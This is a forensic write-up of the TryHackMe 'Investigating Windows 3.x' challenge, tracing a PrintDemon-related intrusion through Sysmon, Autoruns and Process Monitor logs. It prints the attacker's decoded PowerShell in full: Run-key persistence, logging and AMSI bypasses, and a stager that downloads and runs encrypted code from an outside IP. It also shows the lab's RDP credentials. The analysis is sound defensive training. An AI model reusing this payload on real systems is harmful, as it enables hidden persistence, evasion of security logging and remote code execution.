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Investigating Windows 3.x

Room information

Type: Challenge
Difficulty: Medium
Tags: Windows
Meta Tags: Walkthrough, Walk-through, Write-up, Writeup
Subscription type: Free
Description:
Find the artifacts resident on the endpoint and sift through captured data to determine 
what type attack occurred on the endpoint.

Room link: https://tryhackme.com/room/investigatingwindows3

Solution

Note: In order to answer the questions in this challenge you should have completed the following rooms:

Connect to the machine with RDP

Connect to the machine using RDP.

The credentials of the machine are as follows:

  • Username: Administrator
  • Password: blueT3aming!

Your machine's IP is: 10.64.143.3

If you're using Remmina to RDP, set the Color Depth to RemoteFX (32 bpp).

Note: This machine does not respond to ping (ICMP) and may take a few minutes to boot up.

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Challenges/Medium/Investigating_Windows_3.x]
└─$ export TARGET_IP=10.64.143.3       

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Challenges/Medium/Investigating_Windows_3.x]
└─$ xfreerdp /v:$TARGET_IP /cert:ignore /u:Administrator /p:'blueT3aming!' /h:1024 /w:1500 +clipboard 
[09:28:51:656] [6737:6738] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[09:28:51:656] [6737:6738] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[09:28:52:887] [6737:6738] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
<---snip--->

After connecting we open both an elevated command prompt (cmd.exe) window and an elevated PowerShell window.

On the Desktop the following pieces of evidence are present:

C:\Users\Administrator> cd Desktop

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 78DA-BDAD

 Directory of C:\Users\Administrator\Desktop

01/21/2021  05:23 PM    <DIR>          .
01/21/2021  05:23 PM    <DIR>          ..
01/21/2021  05:20 PM       126,478,767 Logfile.PML
01/22/2021  05:45 AM         7,376,580 WIN-Q5JJRDM876J.arn
               2 File(s)    133,855,347 bytes
               2 Dir(s)   9,546,457,088 bytes free

C:\Users\Administrator\Desktop>
  • The Logfile.PML is a log file from Process Monitor
  • The WIN-Q5JJRDM876J.arn is a log file from Autoruns

In addition, there are PowerShell Transcript log files available in the Administrator's Documents folder:

C:\Users\Administrator> cd Documents

C:\Users\Administrator\Documents> cd 20210121

C:\Users\Administrator\Documents\20210121> dir
 Volume in drive C has no label.
 Volume Serial Number is 78DA-BDAD

 Directory of C:\Users\Administrator\Documents\20210121

01/21/2021  05:07 PM    <DIR>          .
01/21/2021  05:07 PM    <DIR>          ..
01/21/2021  05:07 PM             2,513 PowerShell_transcript.WIN-Q5JJRDM876J.1oX40WR+.20210121170706.txt
01/21/2021  05:04 PM               633 PowerShell_transcript.WIN-Q5JJRDM876J.2SKS7+3T.20210121170436.txt
01/21/2021  05:07 PM           542,264 PowerShell_transcript.WIN-Q5JJRDM876J.4gT0mU2Z.20210121170546.txt
01/21/2021  11:41 AM             1,348 PowerShell_transcript.WIN-Q5JJRDM876J.RUSfBlKZ.20210121114019.txt
               4 File(s)        546,758 bytes
               2 Dir(s)   9,576,394,752 bytes free

C:\Users\Administrator\Documents\20210121>

These log files contains all PowerShell execution including decoded payloads!

What is the registry key with the encoded payload? (full path)

We can find the answer in the Autoruns log file (WIN-Q5JJRDM876J.arn) under the Logon tab:

Autoruns Analysis 1

or by opening the Sysmon Operational log in Event Viewer under Applications and Services Logs -> Microsoft -> Windows -> Sysmon -> Operational.

Filter for event ID 13, RegistryEvent (Value Set), and search for Updater

Registry value set:
RuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder
EventType: SetValue
UtcTime: 2021-01-22 01:08:13.468
ProcessGuid: {786593ca-776d-6009-4b00-000000000300}
ProcessId: 2684
Image: C:\Windows\Explorer.EXE
TargetObject: HKU\S-1-5-21-1022688529-3069809663-3800007983-500\Software\Microsoft\Windows\CurrentVersion\Run\Updater
Details: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x"

Answer: HKCU\Software\Microsoft\Windows\CurrentVersion\Debug

What is the rule name for this run key generated by Sysmon?

See the Sysmon event above (RuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder).

Answer: T1547.001

What tactics is classified with this MITRE ATT&CK ID?

See Registry Run Keys / Startup Folder.

Answer: Persistence, Privilege Escalation

What was UTC time for the Sysmon event?

See the Sysmon event above (UtcTime: 2021-01-22 01:08:13.468).

Answer: 2021-01-22 01:08:13.468

What was the Sysmon Event ID? Event Type? (answer, answer)

See the Sysmon event above (EventType: SetValue).

Answer: 13, SetValue

Decode the payload. What service will the payload attempt start?

We can fetch the registry content with reg query

C:\Users\Administrator\Desktop> reg QUERY HKCU\Software\Microsoft\Windows\CurrentVersion /v Debug

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
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 A F I A R Q B m A C 4 A R w B F A H Q A R g B J A E U A T A B E A C g A J w B h A G 0 A c w B p A E k A b g B p A H Q A R g A n A C s A J w B h A G k A b A B l A G Q A J w A s A C c A T g B v A G 4 A U A B 1 A G I A b A B p A G M A L A B T A H Q A Y Q B 0 A G k A Y w A n A C k A L g B T A G U A d A B W A G E A T A B V A E U A K A A k A G 4 A d Q B M A G w A L A A k A F Q A c g B 1 A E U A K Q A 7 A H 0 A O w B b A F M A e Q B z A H Q A R Q B t A C 4 A T g B F A F Q A L g B T A E U A c g B W A E k A Q w B F A F A A b w B J A G 4 A d A B N A E E A b g B B A G c A Z Q B S A F 0 A O g A 6 A E U A e A B Q A E U A Y w B U A D E A M A A w A E M A T w B u A F Q A S Q B u A H U A Z Q A 9 A D A A O w A k A D I A N w B D A E U A P Q B O A G U A V w A t A E 8 A Q g B K A E U A Y w B 0 A C A A U w B Z A H M A V A B F A G 0 A L g B O A E U A d A A u A F c A R Q B C A E M A b A B J A G U A T g B U A D s A J A B 1 A D 0 A J w B N A G 8 A e g B p A G w A b A B h A C 8 A N Q A u A D A A I A A o A F c A a Q B u A G Q A b w B 3 A H M A I A B O A F Q A I A A 2 A C 4 A M Q A 7 A C A A V w B P A F c A N g A 0 A D s A I A B U A H I A a Q B k A G U A b g B 0 A C 8 A N w A u A D A A O w A g A H I A d g A 6 A D E A M Q A u A D A A K Q A g A G w A a Q B r A G U A I A B H A G U A Y w B r A G 8 A J w A 7 A C Q A c w B l A H I A P Q A k A C g A W w B U A E U A e A B 0 A C 4 A R Q B O A E M A b w B E A G k A T g B n A F 0 A O g A 6 A F U A T g B p A E M A b w B E A G U A L g B H A E U A V A B T A H Q A c g B p A G 4 A Z w A o A F s A Q w B P A G 4 A V g B l A F I A d A B d A D o A O g B G A H I A T w B N A E I A Q Q B z A E U A N g A 0 A F M A V A B y A E k A T g B n A C g A J w B h A E E A Q g A w A E E A S A B R A E E A Y w B B A E E A N g B B A E M A O A B B A E w A d w B B A H o A Q Q B E A F E A Q Q B M A G c A Q Q B 5 A E E A R A B R A E E A T g B R A E E A d Q B B A E Q A R Q B B A E 0 A Z w B B A D Q A Q Q B D A D Q A Q Q B N A F E A Q Q A y A E E A R A B F A E E A T w B n A E E A N Q B B A E Q A Q Q B B A E 0 A Q Q B B A H g A Q Q B B A D 0 A P Q A n A C k A K Q A p A D s A J A B 0 A D 0 A J w A v A G E A Z A B t A G k A b g A v A G c A Z Q B 0 A C 4 A c A B o A H A A J w A 7 A C Q A M g A 3 A E M A R Q A u A E g A Z Q B h A G Q A R Q B y A H M A L g B B A E Q A R A A o A C c A V Q B z A G U A c g A t A E E A Z w B l A G 4 A d A A n A C w A J A B 1 A C k A O w A k A D I A N w B D A G U A L g B Q A H I A T w B 4 A F k A P Q B b A F M A e Q B T A F Q A R Q B t A C 4 A T g B F A F Q A L g B X A E U A Q g B S A E U A c Q B V A G U A c w B U A F 0 A O g A 6 A E Q A Z Q B m A E E A V Q B s A H Q A V w B F A E I A U A B S A E 8 A W A B Z A D s A J A A y A D c A Y w B l A C 4 A U A B S A E 8 A W A B 5 A C 4 A Q w B y A E U A R A B F A E 4 A V A B J A G E A b A B z A C A A P Q A g A F s A U w B 5 A F M A d A B l A G 0 A L g B O A E U A d A A u A E M A U g B F A G Q A R Q B u A F Q A a Q B B A G w A Q w B B A E M A a A B F A F 0 A O g A 6 A E Q A R Q B G A E E A V Q B M A F Q A T g B l A F Q A d w B v A F I A S w B D A H I A R Q B k A G U A b g B U A G k A Q Q B M A F M A O w A k A F M A Y w B y A G k A c A B 0 A D o A U A B y A G 8 A e A B 5 A C A A P Q A g A C Q A M g A 3 A G M A Z Q A u A F A A c g B v A H g A e Q A 7 A C Q A S w A 9 A F s A U w B 5 A H M A d A B F A G 0 A L g B U A G U A W A B U A C 4 A R Q B u A E M A b w B E A G k A T g B n A F 0 A O g A 6 A E E A U w B D A E k A S Q A u A E c A Z Q B U A E I A W Q B U A G U A c w A o A C c A Y Q B 3 A F g A V Q B E A G s A a Q B 0 A D w A b w B W A D k A S g B j A F I A T w B M A H s A J Q B n A F E A L g B 8 A D M A b g B I A H E A T Q B w A E E A L w B s A C c A K Q A 7 A C Q A U g A 9 A H s A J A B E A C w A J A B L A D 0 A J A B B A H I A R w B z A D s A J A B T A D 0 A M A A u A C 4 A M g A 1 A D U A O w A w A C 4 A L g A y A D U A N Q B 8 A C U A e w A k A E o A P Q A o A C Q A S g A r A C Q A U w B b A C Q A X w B d A C s A J A B L A F s A J A B f A C U A J A B L A C 4 A Q w B P A H U A b g B U A F 0 A K Q A l A D I A N Q A 2 A D s A J A B T A F s A J A B f A F 0 A L A A k A F M A W w A k A E o A X Q A 9 A C Q A U w B b A C Q A S g B d A C w A J A B T A F s A J A B f A F 0 A f Q A 7 A C Q A R A B 8 A C U A e w A k A E k A P Q A o A C Q A S Q A r A D E A K Q A l A D I A N Q A 2 A D s A J A B I A D 0 A K A A k A E g A K w A k A F M A W w A k A E k A X Q A p A C U A M g A 1 A D Y A O w A k A F M A W w A k A E k A X Q A s A C Q A U w B b A C Q A S A B d A D 0 A J A B T A F s A J A B I A F 0 A L A A k A F M A W w A k A E k A X Q A 7 A C Q A X w A t A G I A W A B v A F I A J A B T A F s A K A A k A F M A W w A k A E k A X Q A r A C Q A U w B b A C Q A S A B d A C k A J Q A y A D U A N g B d A H 0 A f Q A 7 A C Q A M g A 3 A E M A R Q A u A E g A Z Q B h A E Q A Z Q B y A H M A L g B B A G Q A R A A o A C I A Q w B v A G 8 A a w B p A G U A I g A s A C I A U g B q A E 0 A Z Q B l A G s A P Q B a A G 0 A U Q B M A E g A Y Q B j A E 0 A Q g B Y A H I A T A B j A E I A K w B W A E U A b A B 2 A E w A Y w B 3 A E 8 A M g A 2 A E U A W Q A 9 A C I A K Q A 7 A C Q A R A B h A H Q A Q Q A 9 A C Q A M g A 3 A E M A Z Q A u A E Q A T w B 3 A G 4 A b A B v A E E A Z A B E A E E A d A B B A C g A J A B T A G U A c g A r A C Q A V A A p A D s A J A B p A H Y A P Q A k A E Q A Y Q B U A E E A W w A w A C 4 A L g A z A F 0 A O w A k A E Q A Y Q B 0 A E E A P Q A k A G Q A Q Q B 0 A E E A W w A 0 A C 4 A L g A k A E Q A Y Q B 0 A G E A L g B s A E U A T g B n A H Q A a A B d A D s A L Q B q A E 8 A S Q B O A F s A Q w B I A E E A c g B b A F 0 A X Q A o A C Y A I A A k A F I A I A A k A G Q A Q Q B 0 A E E A I A A o A C Q A S Q B W A C s A J A B L A C k A K Q B 8 A E k A R Q B Y A A = = ' , " D Q A = "   ) ; w h i l e   ( $ t c p C o n n e c t i o n . C o n n e c t e d ) { w h i l e   ( $ t c p S t r e a m . D a t a A v a i l a b l e ) { $ r e a d e r . R e a d L i n e ( ) } ; i f   ( $ t c p C o n n e c t i o n . C o n n e c t e d ) { F o r ( $ i   =   0 ;   $ i   - l t   5 ;   $ i + + ) { F o r E a c h   ( $ s t r   i n   $ c o m m a n d s ) { S t a r t - S l e e p   - s   1 ; $ c o m m a n d   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ s t r ) ) ; $ w r i t e r . W r i t e L i n e ( $ c o m m a n d )   |   O u t - N u l l ; } ; } ; b r e a k ; } ; } ; $ r e a d e r . C l o s e ( ) ; $ w r i t e r . C l o s e ( ) ; $ t c p C o n n e c t i o n . C l o s e ( ) ; 


C:\Users\Administrator\Desktop>

And then decode the Base64-encoded string in CyberChef with the recipes From Base64 and Decode text (UTF-16LE). After some formating the contents becomes:

sc.exe start Fax;
$FTPServer = "localhost";
$FTPPort = "9299";
$tcpConnection = New-Object System.Net.Sockets.TcpClient($FTPServer, $FTPPort);
$tcpStream = $tcpConnection.GetStream();
$reader = New-Object System.IO.StreamReader($tcpStream);
$writer = New-Object System.IO.StreamWriter($tcpStream);
$writer.AutoFlush = $true;
$commands = @( "DQA=",'awBpAGwAbAAgACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAARgBYAFMAUwBWAEMAKQAuAEkAZAAgAC0AZgBvAHIAYwBlADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAHUAYQBsAGEAcABpAC4AZABsAGwAJwA7AEkARgAoACQAUABTAFYARQByAFMASQBPAE4AVABBAEIAbABFAC4AUABTAFYARQByAHMASQBvAE4ALgBNAEEASgBPAHIAIAAtAEcARQAgADMAKQB7ACQAZgBmAGYANgA9AFsAcgBlAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAGkAZQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABmAGYARgA2ACkAewAkAEIAOQBCAEUAPQAkAGYARgBmADYALgBHAEUAVABWAGEAbABVAGUAKAAkAE4AVQBMAEwAKQA7AEkAZgAoACQAQgA5AGIARQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdACkAewAkAEIAOQBCAGUAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAA7ACQAYgA5AEIAZQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBsAD0AWwBDAE8ATABsAEUAQwB0AGkATwBuAFMALgBHAEUAbgBFAHIASQBjAC4ARABJAGMAVABJAG8ATgBBAFIAeQBbAFMAVAByAGkAbgBHACwAUwB5AFMAdABFAE0ALgBPAEIAagBlAGMAVABdAF0AOgA6AG4ARQB3ACgAKQA7ACQAVgBhAGwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABiADkAYgBFAFsAJwBIAEsARQBZAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAkAFYAQQBsAH0ARQBsAFMARQB7AFsAUwBDAFIAaQBwAFQAQgBsAG8AYwBrAF0ALgAiAEcAZQBUAEYAaQBlAGAAbABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAGEATAB1AGUAKAAkAG4AVQBMAGwALAAoAE4AZQB3AC0ATwBCAGoARQBDAHQAIABDAE8ATABsAGUAYwB0AEkAbwBOAHMALgBHAEUAbgBlAHIASQBDAC4ASABhAFMASABTAGUAVABbAHMAVAByAEkAbgBnAF0AKQApAH0AJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAUwBTAEUAbQBiAGwAeQAuAEcAZQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBmAC4ARwBFAHQARgBJAEUATABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAGEATABVAEUAKAAkAG4AdQBMAGwALAAkAFQAcgB1AEUAKQA7AH0AOwBbAFMAeQBzAHQARQBtAC4ATgBFAFQALgBTAEUAcgBWAEkAQwBFAFAAbwBJAG4AdABNAEEAbgBBAGcAZQBSAF0AOgA6AEUAeABQAEUAYwBUADEAMAAwAEMATwBuAFQASQBuAHUAZQA9ADAAOwAkADIANwBDAEUAPQBOAGUAVwAtAE8AQgBKAEUAYwB0ACAAUwBZAHMAVABFAG0ALgBOAEUAdAAuAFcARQBCAEMAbABJAGUATgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAcwBlAHIAPQAkACgAWwBUAEUAeAB0AC4ARQBOAEMAbwBEAGkATgBnAF0AOgA6AFUATgBpAEMAbwBEAGUALgBHAEUAVABTAHQAcgBpAG4AZwAoAFsAQwBPAG4AVgBlAFIAdABdADoAOgBGAHIATwBNAEIAQQBzAEUANgA0AFMAVAByAEkATgBnACgAJwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHoAQQBEAFEAQQBMAGcAQQB5AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADQAQQBDADQAQQBNAFEAQQAyAEEARABFAEEATwBnAEEANQBBAEQAQQBBAE0AQQBBAHgAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAMgA3AEMARQAuAEgAZQBhAGQARQByAHMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkADIANwBDAGUALgBQAHIATwB4AFkAPQBbAFMAeQBTAFQARQBtAC4ATgBFAFQALgBXAEUAQgBSAEUAcQBVAGUAcwBUAF0AOgA6AEQAZQBmAEEAVQBsAHQAVwBFAEIAUABSAE8AWABZADsAJAAyADcAYwBlAC4AUABSAE8AWAB5AC4AQwByAEUARABFAE4AVABJAGEAbABzACAAPQAgAFsAUwB5AFMAdABlAG0ALgBOAEUAdAAuAEMAUgBFAGQARQBuAFQAaQBBAGwAQwBBAEMAaABFAF0AOgA6AEQARQBGAEEAVQBMAFQATgBlAFQAdwBvAFIASwBDAHIARQBkAGUAbgBUAGkAQQBMAFMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAMgA3AGMAZQAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAdABFAG0ALgBUAGUAWABUAC4ARQBuAEMAbwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAWQBUAGUAcwAoACcAYQB3AFgAVQBEAGsAaQB0ADwAbwBWADkASgBjAFIATwBMAHsAJQBnAFEALgB8ADMAbgBIAHEATQBwAEEALwBsACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAMgA3AEMARQAuAEgAZQBhAEQAZQByAHMALgBBAGQARAAoACIAQwBvAG8AawBpAGUAIgAsACIAUgBqAE0AZQBlAGsAPQBaAG0AUQBMAEgAYQBjAE0AQgBYAHIATABjAEIAKwBWAEUAbAB2AEwAYwB3AE8AMgA2AEUAWQA9ACIAKQA7ACQARABhAHQAQQA9ACQAMgA3AEMAZQAuAEQATwB3AG4AbABvAEEAZABEAEEAdABBACgAJABTAGUAcgArACQAVAApADsAJABpAHYAPQAkAEQAYQBUAEEAWwAwAC4ALgAzAF0AOwAkAEQAYQB0AEEAPQAkAGQAQQB0AEEAWwA0AC4ALgAkAEQAYQB0AGEALgBsAEUATgBnAHQAaABdADsALQBqAE8ASQBOAFsAQwBIAEEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==',"DQA=" );
while ($tcpConnection.Connected) {
    while ($tcpStream.DataAvailable) {
        $reader.ReadLine()
    };
    if ($tcpConnection.Connected) {
        For($i = 0; $i -lt 5; $i++) {
            ForEach ($str in $commands) {
                Start-Sleep -s 1;
                $command = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($str));
                $writer.WriteLine($command) | Out-Null;
            };
        };
    break;
    };
};
$reader.Close();
$writer.Close();
$tcpConnection.Close();

See the line sc.exe start Fax;.

Answer: Fax

The payload attempts to open a local port. What is the port number?

See PowerShell code above ($FTPPort = "9299";).

Answer: 9299

What process does the payload attempt to terminate?

We need to Base64-decode the next layer of obfuscation in the $commands variable above with CyberChef as before.

After formatting the contents becomes

kill (Get-Process FXSSVC).Id -force; 
Remove-Item -path  'C:\Windows\System32\ualapi.dll';
IF($PSVErSIONTABlE.PSVErsIoN.MAJOr -GE 3) { 
    $fff6=[ref].ASsemBLy.GetTypE('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($ffF6) {
        $B9BE=$fFf6.GETValUe($NULL);
        If($B9bE['ScriptB'+'lockLogging']) {
            $B9Be['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$b9Be['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAl=[COLlECtiOnS.GEnErIc.DIcTIoNARy[STrinG,SyStEM.OBjecT]]::nEw();
        $Val.ADD('EnableScriptB'+'lockLogging',0);
        $VAL.ADd('EnableScriptBlockInvocationLogging',0);
        $b9bE['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VAl
    }
    ElSE {
        [SCRipTBlock]."GeTFie`ld"('signatures','N'+'onPublic,Static').SETVaLue($nULl,(New-OBjECt COLlectIoNs.GEnerIC.HaSHSeT[sTrIng]))
    }
    $Ref=[Ref].ASSEmbly.GeTType('System.Management.Automation.Amsi'+'Utils');
    $REf.GEtFIELD('amsiInitF'+'ailed','NonPublic,Static').SetVaLUE($nuLl,$TruE);
};
[SystEm.NET.SErVICEPoIntMAnAgeR]::ExPEcT100COnTInue=0;
$27CE=NeW-OBJEct SYsTEm.NEt.WEBClIeNT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([TExt.ENCoDiNg]::UNiCoDe.GETString([COnVeRt]::FrOMBAsE64STrINg('aAB0AHQAcAA6AC8ALwAzADQALgAyADQANQAuADEAMgA4AC4AMQA2ADEAOgA5ADAAMAAxAA==')));
$t='/admin/get.php';
$27CE.HeadErs.ADD('User-Agent',$u);
$27Ce.PrOxY=[SySTEm.NET.WEBREqUesT]::DefAUltWEBPROXY;
$27ce.PROXy.CrEDENTIals = [SyStem.NEt.CREdEnTiAlCAChE]::DEFAULTNeTwoRKCrEdenTiALS;$Script:Proxy = $27ce.Proxy;
$K=[SystEm.TeXT.EnCoDiNg]::ASCII.GeTBYTes('awXUDkit<oV9JcROL{%gQ.|3nHqMpA/l');
$R= {
    $D,$K=$ArGs; 
    $S=0..255; 
    0..255 | % { $J=($J+$S[$_]+$K[$_%$K.COunT]) % 256; $S[$_],$S[$J]=$S[$J],$S[$_] };
    $D | % { $I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H]) % 256] }
};
$27CE.HeaDers.AdD("Cookie","RjMeek=ZmQLHacMBXrLcB+VElvLcwO26EY=");
$DatA=$27Ce.DOwnloAdDAtA($Ser+$T);
$iv=$DaTA[0..3];
$DatA=$dAtA[4..$Data.lENgth];
-jOIN[CHAr[]](& $R $dAtA ($IV+$K)) | IEX

See the line kill (Get-Process FXSSVC).Id -force;.

Answer: FXSSVC

What DLL file does the payload attempt to remove? (full path)

See the PowerShell code above (Remove-Item -path 'C:\Windows\System32\ualapi.dll';))

Answer: C:\Windows\System32\ualapi.dll

What is the Windows Event ID associated with this service?

Hint: This DLL is associated with Print Spooler or Fax services

The answer can be found in the PrintService Admin log under Applications and Services Logs -> Microsoft -> Windows -> PrintService -> Admin

PrintService Admin Log

Answer: 823

What is listed as the New Default Printer?

See image above.

Answer: PrintDemon

What process is associated with this event?

Open the Process Monitor log file (Logfile.PML) and search for PrintDemon (Edit -> Find...)

Process Monitor Analysis 1

Answer: spoolsv.exe

What is the parent PID for the above process?

Use the Process Tree function in Process Monitor (Tools -> Process Tree...)

Process Monitor Analysis 2

Answer: 620

Examine the other processes. What is the PID of the process running the encoded payload?

We know from earlier that we should be looking for a PowerShell process.

Process Monitor Analysis 3

We can also use the Sysmon log in Event Viewer. Filter for Event ID 1 (Process Creation) and Search for (Find...) -enc

Process Create:
RuleName: technique_id=T1059.001,technique_name=PowerShell
UtcTime: 2021-01-22 01:05:45.938
ProcessGuid: {786593ca-24e9-600a-eb00-000000000300}
ProcessId: 3088
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAHIAUwBJAE8ATgBUAEEAQgBsAEUALgBQAFMAVgBFAHIAcwBJAG8ATgAuAE0AQQBKAE8AcgAgAC0ARwBFACAAMwApAHsAJABmAGYAZgA2AD0AWwByAGUAZgBdAC4AQQBTAHMAZQBtAEIATAB5AC4ARwBlAHQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAGYAKAAkAGYAZgBGADYAKQB7ACQAQgA5AEIARQA9ACQAZgBGAGYANgAuAEcARQBUAFYAYQBsAFUAZQAoACQATgBVAEwATAApADsASQBmACgAJABCADkAYgBFAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAQgA5AEIAZQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABiADkAQgBlAFsAJwBTAGMAcgBpAHAA